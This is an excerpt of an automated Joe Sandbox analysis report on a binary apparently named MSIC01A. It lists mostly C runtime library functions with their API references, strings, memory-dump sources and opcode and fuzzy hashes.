Instruction Fuzzy Hash: C951C37290020AAFEB605F64CC45FAF7BA9EF46752F114228FF15E6150D734CD18ABA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F38610 Relevance: 10.7, APIs: 7, Instructions: 157memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00F38657
std::_Lockit::_Lockit.LIBCPMT ref: 00F38679
std::_Lockit::~_Lockit.LIBCPMT ref: 00F386A1
LocalAlloc.KERNEL32(00000040,00000044,00000000,72A902E8,?,00000000), ref: 00F386F9
__Getctype.LIBCPMT ref: 00F3877B
std::_Facet_Register.LIBCPMT ref: 00F387E4
std::_Lockit::~_Lockit.LIBCPMT ref: 00F3880E

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$AllocFacet_GetctypeLocalRegister
String ID:
API String ID: 2372200979-0
Opcode ID: e412937406b567245955892ba4bc41f919361d08fea8fc47f2e0d5182200ee2b
Instruction ID: b5f8295f726968265ab1a5141a1f251ef31af0b8b19667028acd7231cf5040b2
Opcode Fuzzy Hash: e412937406b567245955892ba4bc41f919361d08fea8fc47f2e0d5182200ee2b
Instruction Fuzzy Hash: 3861C471C00748DFDB11CF68C9407AABBF0EF14364F148159E845AB291EB78AE45EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F39270 Relevance: 10.6, APIs: 7, Instructions: 135memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00F392A0
std::_Lockit::_Lockit.LIBCPMT ref: 00F392C2
std::_Lockit::~_Lockit.LIBCPMT ref: 00F392EA
LocalAlloc.KERNEL32(00000040,00000018,00000000,72A902E8,?,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 00F39342
__Getctype.LIBCPMT ref: 00F393BD
std::_Facet_Register.LIBCPMT ref: 00F393F8
std::_Lockit::~_Lockit.LIBCPMT ref: 00F39422

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$AllocFacet_GetctypeLocalRegister
String ID:
API String ID: 2372200979-0
Opcode ID: d025baa3bfed1d52c7650ca4328ac73558b961a4deb1a1ba8312f61d2c30a9a1
Instruction ID: 6618cf343641e494afb155895f4482d801b8f96dd2edf06979c0a09ab6a6c6c3
Opcode Fuzzy Hash: d025baa3bfed1d52c7650ca4328ac73558b961a4deb1a1ba8312f61d2c30a9a1
Instruction Fuzzy Hash: 0F51BFB1D08209DFCB11DF68C844BAEBBF4EF14724F148159E845AB391D7B4AA40EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F53F20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00F53F57
___except_validate_context_record.LIBVCRUNTIME ref: 00F53F5F
_ValidateLocalCookies.LIBCMT ref: 00F53FE8
__IsNonwritableInCurrentImage.LIBCMT ref: 00F54013
_ValidateLocalCookies.LIBCMT ref: 00F54068

Strings

csm, xrefs: 00F53FFD

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: e38439e54a571c2cd459715d25be6fd08a20cbfd3ad1604325e6aa960382e941
Instruction ID: 814cd7268e443e15c7665551f43c262e63006fdeb269ef018756dbd38fd1b704
Opcode Fuzzy Hash: e38439e54a571c2cd459715d25be6fd08a20cbfd3ad1604325e6aa960382e941
Instruction Fuzzy Hash: 6A41D234E002089BCF14DF68CC81A9EBBF1AF44369F148055EE189B392D735EA09EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F672FB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00F67408,00F63841,0000000C,?,00000000,00000000,?,00F67632,00000021,FlsSetValue,00F7BD58,00F7BD60,?), ref: 00F673BC

Strings

ext-ms-, xrefs: 00F67366
api-ms-, xrefs: 00F67352

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 743fad180085bbacbf23ed7674b5e45bb9f9bb7362fecd1554addb464e8b9a18
Instruction ID: ef0101cda76669dfcb32864a13f60a694fb526ea2891959d59f69cdc6c5c512b
Opcode Fuzzy Hash: 743fad180085bbacbf23ed7674b5e45bb9f9bb7362fecd1554addb464e8b9a18
Instruction Fuzzy Hash: 1A21E436F09315EBCB21BB64AC42A6A37699F42774F240220FD19A7390E771ED00F6E1

Uniqueness

Uniqueness Score: -1.00%

Function 00F3B500 Relevance: 9.2, APIs: 6, Instructions: 151memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00F3B531
std::_Lockit::_Lockit.LIBCPMT ref: 00F3B54F
std::_Lockit::~_Lockit.LIBCPMT ref: 00F3B577
LocalAlloc.KERNEL32(00000040,0000000C,00000000,72A902E8,?,00000000,00000000), ref: 00F3B5CF
std::_Facet_Register.LIBCPMT ref: 00F3B6B7
std::_Lockit::~_Lockit.LIBCPMT ref: 00F3B6E1

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$AllocFacet_LocalRegister
String ID:
API String ID: 3931714976-0
Opcode ID: b5fe0ed3c1611289dc3c9293e1fe279f5ffc608c62d22a98929317ef92888825
Instruction ID: 77112ad6296edc56383222f9934aaea0c32d155d789dfab2376c0d5d6a3eab32
Opcode Fuzzy Hash: b5fe0ed3c1611289dc3c9293e1fe279f5ffc608c62d22a98929317ef92888825
Instruction Fuzzy Hash: 1651E471D00209DFDB11CF58C8917AEBBB4FF10324F24819DE915AB392D7B59A04EB81

Uniqueness

Uniqueness Score: -1.00%

Function 00F3B700 Relevance: 9.1, APIs: 6, Instructions: 128memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00F3B731
std::_Lockit::_Lockit.LIBCPMT ref: 00F3B74F
std::_Lockit::~_Lockit.LIBCPMT ref: 00F3B777
LocalAlloc.KERNEL32(00000040,00000008,00000000,72A902E8,?,00000000,00000000), ref: 00F3B7CF
std::_Facet_Register.LIBCPMT ref: 00F3B863
std::_Lockit::~_Lockit.LIBCPMT ref: 00F3B88D

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$AllocFacet_LocalRegister
String ID:
API String ID: 3931714976-0
Opcode ID: bad4c0e36179b790948b34e9408b8c2b0b0fca9d2f57277b73db527f489ebb89
Instruction ID: 91a179bfc241765a0b0ee217260ffcf3198f4a89abcfdc766b3475b8e980bc91
Opcode Fuzzy Hash: bad4c0e36179b790948b34e9408b8c2b0b0fca9d2f57277b73db527f489ebb89
Instruction Fuzzy Hash: 7B51AC71D04218DFCB11CF58C8A4BAEBBB4EF54720F24855DE905AB381D7B4AE01EB81

Uniqueness

Uniqueness Score: -1.00%

Function 00F60351 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 369COMMONLIBRARYCODE

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00F6043B
__freea.LIBCMT ref: 00F604D1
__freea.LIBCMT ref: 00F604ED

Strings

a/p, xrefs: 00F605B5
am/pm, xrefs: 00F60551

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: __freea$__alloca_probe_16
String ID: a/p$am/pm
API String ID: 3509577899-3206640213
Opcode ID: e5399c4d66ba79c7e88c5372bbc951644db91d40846360661ef5834ec624c7b2
Instruction ID: 43d1f6785de71ca804df4906971ed583ed0c45a443d223347802c22fdeb547fc
Opcode Fuzzy Hash: e5399c4d66ba79c7e88c5372bbc951644db91d40846360661ef5834ec624c7b2
Instruction Fuzzy Hash: CAC1DD35D00206DACB24DF68C989BBB77B0EF45320F384049E906AB251DB36AD41FF61

Uniqueness

Uniqueness Score: -1.00%

Function 00F55978 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00F5596F,00F54900,00F5358F), ref: 00F55986
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00F55994
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00F559AD
SetLastError.KERNEL32(00000000,00F5596F,00F54900,00F5358F), ref: 00F559FF

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 1ef0bb51727aeac640705790d81fcfcd217f00bbb0c7bf2fdc7fc92595e6ed2f
Instruction ID: 03c541456d5b2602a5a7c4e9c630a219c1aaf4f9358ca113f0534a644c7ffd38
Opcode Fuzzy Hash: 1ef0bb51727aeac640705790d81fcfcd217f00bbb0c7bf2fdc7fc92595e6ed2f
Instruction Fuzzy Hash: E901B533609B15EFA62527747C95AAA3754DB01BB77300329FE24D51F1EE294C4972D0

Uniqueness

Uniqueness Score: -1.00%

Function 00F33230 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 260fileCOMMON

Download Yara Rule

APIs

GetTempFileNameW.KERNEL32(?,URL,00000000,?,72A902E8,?,00000004), ref: 00F33294
MoveFileW.KERNEL32(?,00000000), ref: 00F3354A
DeleteFileW.KERNEL32(?), ref: 00F33592

Part of subcall function 00F31A70: LocalAlloc.KERNEL32(00000040,80000022), ref: 00F31AF7
Part of subcall function 00F31A70: LocalFree.KERNEL32(7FFFFFFE), ref: 00F31B7D

Part of subcall function 00F32E60: LocalFree.KERNEL32(?,72A902E8,?,?,00F73C40,000000FF,?,00F31242,72A902E8,?,?,00F73C75,000000FF), ref: 00F32EB1

Strings

URL, xrefs: 00F3328E, 00F3357A
url, xrefs: 00F333B9, 00F33575

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: FileLocal$Free$AllocDeleteMoveNameTemp
String ID: URL$url
API String ID: 853893950-346267919
Opcode ID: 12eb6d35fef01d2d23bb50fbc5d798933827724b78496beba04d082c6c328ba5
Instruction ID: affc23e497d4905a031731b150cb2eb7b51ab3108f5b436aba7fe9f1fc5432e1
Opcode Fuzzy Hash: 12eb6d35fef01d2d23bb50fbc5d798933827724b78496beba04d082c6c328ba5
Instruction Fuzzy Hash: 4BC17570D14268DADB24DF28CC98BDDBBB4BF14314F1042D9D009A7291EBB96B88DF91

Uniqueness

Uniqueness Score: -1.00%

Function 00F336D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000105), ref: 00F33735
GetLastError.KERNEL32(?,?,?,00F74215,000000FF), ref: 00F3381A

Part of subcall function 00F32310: GetProcessHeap.KERNEL32 ref: 00F32365

Part of subcall function 00F346F0: FindResourceExW.KERNEL32(00000000,00000006,?,00000000,00000000,?,?,?,?,00F33778,-00000010,?,?,?,00F74215,000000FF), ref: 00F34736

_wcschr.LIBVCRUNTIME ref: 00F337C6
LoadLibraryExW.KERNEL32(?,00000000,00000000,?,?,00F74215,000000FF), ref: 00F337DB

Strings

ntdll.dll, xrefs: 00F337B3

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: DirectoryErrorFindHeapLastLibraryLoadProcessResourceSystem_wcschr
String ID: ntdll.dll
API String ID: 3941625479-2227199552
Opcode ID: 3d341bed1b964988c994765e8952865144c6324cbcaee33922fb90da5e4b98d5
Instruction ID: 88804ee1e7be00e963dd4460ea831ac3f1d634a8ad3a38ce8e2f8c3c8888da97
Opcode Fuzzy Hash: 3d341bed1b964988c994765e8952865144c6324cbcaee33922fb90da5e4b98d5
Instruction Fuzzy Hash: 96419571A006099FDB10EF68DC45BEEB7A4FF14720F144529E916D72C1E7B4AA04DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00F3621F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 77libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00F31A20: LocalFree.KERNEL32(?), ref: 00F31A42

Part of subcall function 00F53E5A: RaiseException.KERNEL32(E06D7363,00000001,00000003,00F31434,?,?,00F3D341,00F31434,00F88B5C,?,00F31434,?,00000000), ref: 00F53EBA

GetCurrentProcess.KERNEL32(72A902E8,72A902E8,?,?,00000000,00F74981,000000FF), ref: 00F362EB

Part of subcall function 00F52C98: EnterCriticalSection.KERNEL32(00F8DD3C,?,?,?,00F323B6,00F8E638,72A902E8,?,?,00F73D6D,000000FF), ref: 00F52CA3
Part of subcall function 00F52C98: LeaveCriticalSection.KERNEL32(00F8DD3C,?,?,?,00F323B6,00F8E638,72A902E8,?,?,00F73D6D,000000FF), ref: 00F52CE0

GetModuleHandleW.KERNEL32(kernel32,IsWow64Process), ref: 00F362B0
GetProcAddress.KERNEL32(00000000), ref: 00F362B7

Part of subcall function 00F52C4E: EnterCriticalSection.KERNEL32(00F8DD3C,?,?,00F32427,00F8E638,00F76B40), ref: 00F52C58
Part of subcall function 00F52C4E: LeaveCriticalSection.KERNEL32(00F8DD3C,?,?,00F32427,00F8E638,00F76B40), ref: 00F52C8B
Part of subcall function 00F52C4E: RtlWakeAllConditionVariable.NTDLL ref: 00F52D02

Strings

kernel32, xrefs: 00F362AB
IsWow64Process, xrefs: 00F362A6

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AddressConditionCurrentExceptionFreeHandleLocalModuleProcProcessRaiseVariableWake
String ID: IsWow64Process$kernel32
API String ID: 1333104975-3789238822
Opcode ID: b656b04648db29ae68777f4302e8c8fd212d75d3ce72deccc5004f9584f028a1
Instruction ID: d17b84973946d42c8aa8e19ca6e4c7d6551bf30292427b58d522f10a169670e5
Opcode Fuzzy Hash: b656b04648db29ae68777f4302e8c8fd212d75d3ce72deccc5004f9584f028a1
Instruction Fuzzy Hash: 65219371D54709EFCB10EFA4DD06BADB7A8FB15B21F100225E915932D0E778A504AB62

Uniqueness

Uniqueness Score: -1.00%

Function 00F48451 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F48458
_Getvals.LIBCPMT ref: 00F484AA
_Mpunct.LIBCPMT ref: 00F484E5
_Mpunct.LIBCPMT ref: 00F484FF

Strings

$+xv, xrefs: 00F4850A

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: Mpunct$GetvalsH_prolog3
String ID: $+xv
API String ID: 2204710431-1686923651
Opcode ID: 1b3bd739266ef2adc04035d6528d1004d090bf7c8700521c65ffe8229c1515ae
Instruction ID: 3290cb98755b43613af414f042c2e8a98c18bd00a98f134edb16e268f3ff8b28
Opcode Fuzzy Hash: 1b3bd739266ef2adc04035d6528d1004d090bf7c8700521c65ffe8229c1515ae
Instruction Fuzzy Hash: 7421C4B1904B926ED725DF74C89073FBEF8AB08351F04455AE859C7A42D778E602DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F36250 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 62libraryloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(72A902E8,72A902E8,?,?,00000000,00F74981,000000FF), ref: 00F362EB

Part of subcall function 00F52C98: EnterCriticalSection.KERNEL32(00F8DD3C,?,?,?,00F323B6,00F8E638,72A902E8,?,?,00F73D6D,000000FF), ref: 00F52CA3
Part of subcall function 00F52C98: LeaveCriticalSection.KERNEL32(00F8DD3C,?,?,?,00F323B6,00F8E638,72A902E8,?,?,00F73D6D,000000FF), ref: 00F52CE0

GetModuleHandleW.KERNEL32(kernel32,IsWow64Process), ref: 00F362B0
GetProcAddress.KERNEL32(00000000), ref: 00F362B7

Part of subcall function 00F52C4E: EnterCriticalSection.KERNEL32(00F8DD3C,?,?,00F32427,00F8E638,00F76B40), ref: 00F52C58
Part of subcall function 00F52C4E: LeaveCriticalSection.KERNEL32(00F8DD3C,?,?,00F32427,00F8E638,00F76B40), ref: 00F52C8B
Part of subcall function 00F52C4E: RtlWakeAllConditionVariable.NTDLL ref: 00F52D02

Strings

kernel32, xrefs: 00F362AB
IsWow64Process, xrefs: 00F362A6

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AddressConditionCurrentHandleModuleProcProcessVariableWake
String ID: IsWow64Process$kernel32
API String ID: 2056477612-3789238822
Opcode ID: d59fecf39f74d43deeaeecab41b0ece38b3472c74efd63538da57bd9ad9de472
Instruction ID: 1b1787aaf452b2307a2f57c571d2b20cc170d354b3dd6df6c2a75698ff063cbd
Opcode Fuzzy Hash: d59fecf39f74d43deeaeecab41b0ece38b3472c74efd63538da57bd9ad9de472
Instruction Fuzzy Hash: C911A272D14718EFCB10DF54DD05BA9B7A8FB15B20F00426AE815D37D0E775A904EB52

Uniqueness

Uniqueness Score: -1.00%

Function 00F569E2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,00F56AA3,?,?,00F8DDCC,00000000,?,00F56BCE,00000004,InitializeCriticalSectionEx,00F797E8,InitializeCriticalSectionEx,00000000), ref: 00F56A72

Strings

api-ms-, xrefs: 00F56A32

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: d0d6caeff6e16acc5ab1a15b50a192966e303bc7e787732771cd34b0e973e288
Instruction ID: 38a17c46b580d8ca98af7bb1a17fa9adba1b8bfb4b68b557d4800c6f458bf433
Opcode Fuzzy Hash: d0d6caeff6e16acc5ab1a15b50a192966e303bc7e787732771cd34b0e973e288
Instruction Fuzzy Hash: 4111CA32E04325ABCF229B689C41B5937949F12772F544260FF25FB280D774ED04A7D5

Uniqueness

Uniqueness Score: -1.00%

Function 00F62DEE Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,72A902E8,?,?,00000000,00F76A6C,000000FF,?,00F62DC1,?,?,00F62D95,?), ref: 00F62E23
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00F62E35
FreeLibrary.KERNEL32(00000000,?,00000000,00F76A6C,000000FF,?,00F62DC1,?,?,00F62D95,?), ref: 00F62E57

Strings

CorExitProcess, xrefs: 00F62E2D
mscoree.dll, xrefs: 00F62E1C

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 454b832fc01998dbc6951577892e906b7c72299461d1aee50b50c0c9dd7f27d2
Instruction ID: edac9e5e328ca27129b5fdbc1a8a50206f4b39610ee3beb33e1abb3ddee3e10d
Opcode Fuzzy Hash: 454b832fc01998dbc6951577892e906b7c72299461d1aee50b50c0c9dd7f27d2
Instruction Fuzzy Hash: 1E01A731918B1DABDB129F40CC05FAFBBB9FB44B10F004525F815E22A0DB759900DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00F66DB9 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00F66E40
__alloca_probe_16.LIBCMT ref: 00F66F01
__freea.LIBCMT ref: 00F66F68

Part of subcall function 00F65BDC: HeapAlloc.KERNEL32(00000000,00000000,00F63841,?,00F6543A,?,00000000,?,00F56CE7,00000000,00F63841,00000000,?,?,?,00F6363B), ref: 00F65C0E

__freea.LIBCMT ref: 00F66F7D
__freea.LIBCMT ref: 00F66F8D

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 93de434a40671367c6f55b63474d5d31fd7b4c53008ab27f29ae3e84b2ce87b3
